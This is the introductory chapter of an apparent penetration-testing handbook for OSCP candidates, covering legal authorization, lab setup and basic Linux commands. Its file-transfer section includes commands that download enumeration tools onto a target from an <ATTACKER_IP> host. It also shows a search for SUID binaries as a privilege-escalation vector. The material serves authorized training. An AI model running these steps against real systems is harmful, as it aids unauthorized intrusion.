The Offensive Security Handbook

A Practical Reference for Penetration Testers & OSCP Candidates

Johnathan Christopherson

2026

The Offensive Security Handbook

A Practical Reference for
Penetration Testers & OSCP Candidates

Johnathan Christopherson

OSCP | GPEN | GWAPT | GCIA

From Enumeration to Domain Admin
700+ Pages of Battle-Tested Techniques

2026 Edition

The Offensive Security Handbook

Contents

Chapter 1

Introduction

1.1 Preface

This handbook emerged from years of hands-on offensive security training across real lab environments, certification programs, and practice platforms. What started as fragmented notes — scribbled during late-night CTF sessions, copied between terminals during live labs, and revised after each failed attempt — has been consolidated here into a single reference.

The goal is simple: give a practitioner everything they need in one place, written the way operators actually think about problems. Not sanitized theory. Actual command sequences. Real output. Notes on what goes wrong and why.

If you are preparing for the OSCP® certification, working through Hack The Box, or running engagements professionally, this handbook is designed to be at your side — not a replacement for hands-on practice, but a reliable reference that accelerates your workflow.

About the Author: Johnathan Christopherson holds the OSCP (Offensive Security Certified Professional), GPEN (GIAC Penetration Tester), GWAPT (GIAC Web Application Penetration Tester), and GCIA (GIAC Certified Intrusion Analyst) certifications. The techniques in this handbook are drawn from real certification preparation, lab environments, and professional practice.

> ***Trademark Notice:*** *OSCP® is a registered trademark of OffSec Services Limited. MITRE ATT&CK® is a registered trademark of The MITRE Corporation. Kali*

Linux is a trademark of OffSec Services Limited. Metasploit® is a registered trademark of Rapid7, Inc. Nmap® is a registered trademark of Nmap Software LLC (Gordon "Fyodor" Lyon). Burp Suite is a trademark of PortSwigger Ltd. All other trademarks are the property of their respective owners. This handbook is not affiliated with, endorsed by, or sponsored by OffSec, The MITRE Corporation, Rapid7, or any other organization mentioned herein.

A Note on External Links: *This handbook references GitHub repositories, tool websites, and training platforms. URLs change over time. If a link is broken, search for the tool name on GitHub or your preferred search engine. The tool's functionality and the commands shown in this handbook remain valid regardless of URL changes.*

1.2 Chapter Objectives

After completing this chapter, you should be able to:

- Understand the scope and structure of this handbook
- Set up a penetration testing lab environment (Kali Linux, target VMs)
- Identify the prerequisites for OSCP-level study
- Use the placeholder convention used throughout this book
- Navigate between chapters based on your skill level

1.3 Audience and Prerequisites

This handbook is written for:

- **Penetration testing students** working through PWK/PEN-200 or HTB Academy
- **OSCP candidates** preparing for the certification exam
- **Junior penetration testers** who want to solidify their methodology
- **Experienced practitioners** who want a consolidated command reference

Prerequisites assumed:

Skill	Level Required
Linux command line	Comfortable with navigation, pipes, scripting
Networking	TCP/IP, routing, subnetting, common ports
Windows admin	User accounts, services, registry, permissions
Programming	Basic Python or Bash (helpful, not required)
Security concepts	CIA triad, authentication, vulnerabilities

If you lack the networking or Linux prerequisites, work through the TryHackMe Pre-Security Path before starting this material.

1.4 Ethical and Legal Considerations

The techniques in this handbook are dual-use. They can be used for legitimate security testing — or for criminal activity. The distinction is authorization.

You must have explicit written permission before using any offensive technique against any system. "I was just testing" is not a legal defense. In most jurisdictions, unauthorized access to computer systems is a criminal offense punishable by imprisonment and fines.

Acceptable use of this material:

- Lab environments you own (home lab, VMs)
- Platforms explicitly designed for this (Hack The Box, TryHackMe, VulnHub, OSCP labs)
- Engagements with a signed Scope of Work and Rules of Engagement
- Your own employer's systems with written IT/security team authorization

Never:

- Scan, probe, or exploit systems without written authorization
- Use credentials or access obtained during an engagement for personal gain
- Retain client data beyond the scope of the engagement

- Share client findings, evidence, or exploitation details without consent

The offensive security community is built on trust and professionalism. Operate accordingly.

1.5 How to Use This Handbook

This handbook is structured to follow the typical penetration test lifecycle:

```
Introduction (you are here)
    ↓
Enumeration — discover the attack surface
    ↓
Web Attacks — exploit web applications for initial access
    ↓
Credential Attacks — crack and abuse credentials
    ↓
Linux / Windows Privilege Escalation — elevate from low to high
privilege
    ↓
Active Directory Attacks — compromise domain environments
    ↓
Pivoting — move through internal networks
    ↓
Post-Exploitation — establish persistence, exfiltrate, clean up
    ↓
Tools Reference — consolidated command cheatsheet
```

Reading strategies:

- **Linear**: Read front-to-back if you are new to offensive security. Each chapter builds on the previous one.
- **Reference**: Jump directly to the relevant chapter when you encounter a specific problem during a lab or engagement.
- **Cheatsheet mode**: The Tools Reference chapter contains compact syntax for every major tool — use it during timed assessments.

Commands are formatted in language-tagged code blocks. The language tag tells you where to run the command:

- **bash** — Linux terminal (Kali or target)
- **powershell** — Windows PowerShell or cmd
- **text** — Expected output or non-executable content

For example, a block labeled `bash` means you should run the command in a Linux terminal, while `powershell` means a Windows PowerShell session.

1.6 About This Handbook

This handbook is a consolidation of practical offensive security training notes accumulated across the following programs:

- **Offensive Security PWK / PEN-200** — the primary course and lab environment leading to the OSCP certification
- **Hack The Box Academy** — structured module-based learning
- **TryHackMe** — guided room-based practice
- **PWK Challenge Labs** — MEDTECH, RELIA, SKYLARK, and OSCP A/B mock exams
- **Hack The Box Boxes** — including Dante Pro Lab and standalone machines
- **Offensive Security Proving Grounds** — mixed Windows and Linux practice targets

The goal is not to reproduce course material verbatim, but to synthesize the operational knowledge into a usable reference. Duplicate techniques have been merged into single canonical explanations. Unique command variants from different sources have been preserved where they differ meaningfully.

1.7 Recommended Lab Environments

1.7.1 Free / Beginner

Platform	Best For
TryHackMe	Guided rooms with hints, excellent for beginners
Hack The Box	Unguided machines, closer to real engagements
VulnHub	Download-and-run VMs, great for offline practice
DVWA	Deliberately vulnerable web app for web attack practice

1.7.2 Paid / Certification Tracks

Platform	Best For
OffSec PEN-200	OSCP exam prep with lab access
HTB Academy	Structured module-based learning with machines
TCM Security Courses	Practical pentesting at lower price point
Proving Grounds	OSCP-like standalone machines

1.7.3 Home Lab Setup

This section describes the smallest possible environment that lets you safely run every command in this handbook. All systems must be virtual machines you own — never test against production systems or external targets without written authorization.

1.7.3.1 Hardware Requirements

Component	Minimum	Recommended
RAM	8 GB	16 GB+

Component	Minimum	Recommended
Disk	80 GB free	200 GB free
CPU	Dual-core, VT-x/AMD-V	Quad-core
OS (host)	Windows 10/11 or Linux	Any modern OS

With 8 GB of host RAM you can run Kali plus one target VM at a time. 16 GB lets you run multiple VMs simultaneously, which is important for Active Directory labs that require a domain controller and one or more workstations.

1.7.3.2 Software Required

Software	Purpose
VirtualBox or VMware	VM hypervisor
Kali Linux VM	Attack machine
Windows 10/11 Evaluation ISO	Windows target
Metasploitable 2 or 3	Linux target
DVWA (Docker or VM)	Web attack target

Download links:

- **VirtualBox:** https://www.virtualbox.org
- **Kali Linux:** https://www.kali.org/get-kali/
- **Windows Eval ISO:** https://www.microsoft.com/en-us/evalcenter
- **Metasploitable:** https://sourceforge.net/projects/metasploitable
- **DVWA:** https://github.com/digininja/DVWA

1.7.4 Installing and Configuring Kali Linux

Kali Linux is the standard attack platform used throughout this handbook. It comes pre-loaded with hundreds of penetration testing tools. You will run it as a virtual machine (VM) on your host computer, which keeps it isolated from your main operating system.

Step 1: Download Kali Linux

Go to https://www.kali.org/get-kali/#kali-virtual-machines and download the pre-built VM image for your hypervisor:

- **VirtualBox users**: Download the `.ova` file
- **VMware users**: Download the `.vmx` / `.7z` archive

The pre-built images are recommended over the ISO installer because they are ready to boot immediately — no installation steps required.

Step 2: Import the VM

VirtualBox:

1. Open VirtualBox and select **File > Import Appliance**
2. Browse to the downloaded `.ova` file and click **Next**
3. Review settings (allocate at least 4 GB RAM, 2 CPU cores) and click **Import**

VMware Workstation:

1. Extract the downloaded `.7z` archive
2. Open VMware and select **File > Open** — select the `.vmx` file
3. When prompted, choose **I Copied It**
4. Go to **VM > Settings** — allocate at least 4 GB RAM and 2 CPU cores

Step 3: First Boot

1. Start the VM and wait for the login screen
2. Default credentials: **kali / kali**
3. Open a terminal and change the default password immediately:

```
passwd
```

4. Update the system and all pre-installed tools:

```
sudo apt update && sudo apt full-upgrade -y
```

This may take 10–30 minutes depending on your internet speed. It ensures you have the latest versions of all tools.

Step 4: Take a Snapshot

Before you start any labs, take a VM snapshot. This gives you a clean restore point:

- **VirtualBox**: Machine > Take Snapshot
- **VMware**: VM > Snapshot > Take Snapshot

Name it something like “Clean Install” so you can roll back if anything breaks.

1.7.5 Network Configuration

Most VM hypervisors default to **NAT** mode, which gives each VM internet access through your host. This works fine for downloading tools and connecting to online lab platforms (Hack The Box, TryHackMe). For a local lab where your VMs need to talk to each other, switch to **Host-Only** mode:

VirtualBox: Open VM Settings > Network > Adapter 1. Change “Attached to” to **Host-Only Adapter**. If no host-only network exists, create one via File > Host Network Manager > Create. VirtualBox names it `vboxnet0` — this is a virtual network interface on your host machine that acts as a switch between your VMs. The default subnet `192.168.56.0/24` works well. Repeat for each VM.

VMware: Open VM Settings > Network Adapter. Change to **Host-Only**. Repeat for each VM.

Which mode to use:

- **NAT** — VM can reach the internet but not other VMs. Good for updating tools.
- **Host-Only** — VMs can reach each other but not the internet. Good for isolated labs.
- **Bridged** — VM appears on your real network. Avoid this with vulnerable VMs unless you are on a fully isolated network.

Tip: You can add a second network adapter (Adapter 2) set to NAT so your Kali has both internet access and connectivity to your target VMs on the Host-Only network.

Target layout:

```
Host machine (your laptop/desktop)
       │
  [VirtualBox / VMware]
       │
  [Host-Only virtual switch]
       ├── Kali Linux VM (attack)    192.168.56.101
```

```
        ├── Windows 10 VM (target)    192.168.56.102
        └── Metasploitable VM (target) 192.168.56.103
```

1.7.6 Verify Your Setup

After starting both Kali and a target VM, run from Kali:

```
# Confirm Kali has an IP on the internal network
ip a show eth1    # or the host-only interface

# Confirm you can reach the target
ping -c 3 192.168.56.102    # Replace with your target VM's IP

# Confirm basic attack tools are installed
which nmap gobuster ffuf sqlmap hydra john hashcat
```

1.7.7 Minimum Tool Check

Before working through this handbook, confirm these core tools are installed on your Kali. Most come pre-installed; this verifies nothing is missing:

```
# Check that each tool is installed (no output = missing)
which nmap gobuster ffuf nikto sqlmap hydra
which john hashcat msfconsole
which impacket-secretsdump bloodhound-python
which crackmapexec evil-winrm chisel seclists
```

If any tool is missing, install the full toolkit:

```
sudo apt update && sudo apt install -y \
    nmap gobuster ffuf nikto sqlmap hydra \
    john hashcat impacket-scripts bloodhound \
    crackmapexec evil-winrm chisel seclists wordlists
```

Then re-run the `which` checks above to confirm everything resolves.

1.7.8 Where Tools Live on Kali

Kali organizes tools into standard paths. Knowing these helps when you need to find binaries, wordlists, or scripts:

```
Path                              Contents
────                              ────────
/usr/bin/                         Tool binaries (nmap, gobuster, etc.)
/usr/share/wordlists/             Wordlists including rockyou.txt
/usr/share/seclists/              SecLists (sudo apt install seclists)
/usr/share/nmap/scripts/          NSE scripts for Nmap
/usr/share/webshells/             Pre-built web shells (PHP, ASP, JSP)
/usr/share/windows-resources/     Windows binaries (nc.exe, wget.exe)
/opt/                             Manually installed tools
```

Unlocking rockyou.txt (first time only):

Kali ships the `rockyou.txt` wordlist in compressed (gzipped) form to save disk space. You need to decompress it before any password cracking tool can use it:

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

After this, `rockyou.txt` (about 133 MB uncompressed, ~14 million passwords) is ready to use with tools like `john` and `hashcat`.

1.7.9 Adding Tools to Your PATH

If you install a tool manually (downloaded from GitHub, compiled from source, etc.) and it is not found when you type its name, you need to add its location to your PATH:

```
# Temporary (current session only)
export PATH=$PATH:/opt/mytool/

# Permanent (add to your shell profile)
echo 'export PATH=$PATH:/opt/mytool/' >> ~/.bashrc
source ~/.bashrc
```

To verify a tool's location:

```
which nmap          # Shows: /usr/bin/nmap
which chisel        # Shows the path or "not found"
```

1.8 Lab Environment Setup

Once Kali is installed and updated, the sections below show how to enable services you will need later during labs. **You do not need to run these commands right now.** Read through them so you know they exist, and come back to enable each one when the handbook tells you to use it.

1.8.1 Enable SSH (Remote Access to Your Kali)

> ***When you need this**: When you want to connect to your Kali VM from your host machine's terminal (for copy-pasting commands or opening multiple sessions). You may also want this when setting up SSH tunnels during pivoting labs (covered in the **Pivoting** chapter). You do not need SSH for the first several chapters.*

SSH is not enabled by default on Kali. When you are ready to use it:

```
sudo systemctl enable ssh    # start SSH automatically on boot
sudo systemctl start ssh     # start SSH right now
sudo ss -antlp | grep sshd   # verify it is listening on port 22
```

1.8.2 Start a Web Server (File Hosting)

> ***When you need this**: When you have a shell on a target machine and need to transfer a tool or exploit from your Kali to the target. This comes up in the **Enumeration**, **Privilege Escalation**, and **Post-Exploitation** chapters. You do not need this during the foundation chapters.*

During penetration tests, you frequently need to transfer files to target machines (exploits, shells, enumeration scripts). The easiest way is to host them on a web server running on your Kali:

```
# Option 1: Apache (persistent, serves from /var/www/html/)
sudo systemctl start apache2
sudo systemctl enable apache2

# Option 2: Python one-liner (temporary, serves from current directory)
python3 -m http.server 8000
```

Then on the target, download the file:

```
# From a Linux target:
wget http://<ATTACKER_IP>:8000/linpeas.sh

# From a Windows target (PowerShell):
Invoke-WebRequest http://<ATTACKER_IP>:8000/winPEAS.exe -OutFile
winPEAS.exe
```

1.8.3 SSH Lab Connection

> ***When you need this***: *When you discover SSH (port 22) on a target and have valid credentials or a private key. This is also how you connect to PWK/OSCP lab machines.*

When connecting to lab machines over SSH, you may encounter host key warnings (because machines are rebuilt frequently). These flags suppress the warning so your connection does not hang waiting for you to type "yes":

```
ssh -o "UserKnownHostsFile=/dev/null" \
  -o "StrictHostKeyChecking=no" \
  <USERNAME>@<TARGET_IP>
```

1.8.4 Lab Directory Structure

Before you start working on any target, create an organized directory structure. This habit pays off when you need to revisit your notes or write a report:

```
mkdir target
cd target
mkdir nmap scans loot exploits
touch creds.txt notes.txt
```

For multi-machine scenarios (e.g., Challenge Labs, AD sets):

```
mkdir beyond
cd beyond
mkdir mailsrv1 websrv1
touch creds.txt
```

1.9 Further Learning Resources

1.9.1 Books

Title	Author	Focus
The Hacker Playbook 3	Peter Kim	Red team methodology, AD
Red Team Development	Vest & Tubberville	Enterprise red teaming
Penetration Testing	Georgia Weidman	Intro pentesting
Web App Hacker's Handbook	Stuttard & Pinto	Web app security
Windows Internals	Russinovich et al.	Deep Windows knowledge
Art of Exploitation	Jon Erickson	Low-level exploitation

1.9.2 Online Resources

- **HackTricks** — https://book.hacktricks.xyz
- **GTFOBins** — https://gtfobins.github.io
- **LOLBAS** — https://lolbas-project.github.io
- **PayloadsAllTheThings** — https://github.com/swisskyrepo/PayloadsAllTheThings
- **ired.team** — https://www.ired.team

- **Exploit Database** — https://www.exploit-db.com
- **MITRE ATT&CK** — https://attack.mitre.org

1.9.3 Certifications Pathway

```
Entry Level:
  CompTIA Security+ -> CompTIA PenTest+
  eJPT (eLearnSecurity Junior Penetration Tester)

Intermediate:
  OSCP (Offensive Security Certified Professional)
  eCPPT (eLearnSecurity Certified Professional)

Advanced:
  OSED (Exploit Developer) - Windows exploit dev
  OSEP (Experienced Pentester) - AV evasion, AD
  CRTE (Certified Red Team Expert) - Advanced AD
  CRTO (Certified Red Team Operator) - Cobalt Strike
```

1.10 Quick Reference: Essential Commands

If you are brand new to cybersecurity: *Skip this section for now. These reference pages are meant to be used* during *labs and engagements — not memorized up front. Start with the Foundation chapters (Networking Fundamentals, Linux for Penetration Testers, Windows Internals) which explain these concepts in depth. Come back here when you need a quick command lookup.*

The sections below provide a condensed reference for the core tools and techniques you will use constantly throughout this handbook. They are placed here so you have a single place to flip back to during labs. Detailed explanations of Linux, Windows, and networking concepts are covered in the Foundation chapters that follow.

1.11 Linux Command Reference

These are foundational commands used throughout this handbook. They appear frequently in enumeration, file transfer, and post-exploitation steps. If you are unfamiliar with any of these commands, the **Linux for Penetration Testers** chapter covers them in full detail.

1.11.1 File and Process Management

These commands help you find files and manage running processes. During post-exploitation, you use `find` to locate configuration files, credentials, and SUID binaries. Process commands help you understand what is running on a target and whether services are exploitable.

```
# Find files
which sbd                          # where is this binary installed?
locate filename                    # fast filesystem search (run sudo
updatedb first)
find / -name sbd* 2>/dev/null      # search entire system by name
find / -perm -4000 2>/dev/null     # find SUID binaries (privesc vector)
find /dir/ -mtime -30 -ls          # files modified in last 30 days

# Process management
ps aux                             # what is running? (check for root
processes)
ps -efe                            # same info, different format
kill <PID>                          # stop a process by its ID
watch -n 5 w                       # re-run a command every 5 seconds

# Background jobs (run something while keeping your terminal)
ping -c 400 localhost > ping.txt &  # & puts the command in background
jobs                                # list background jobs
fg %1                               # bring job #1 back to foreground
```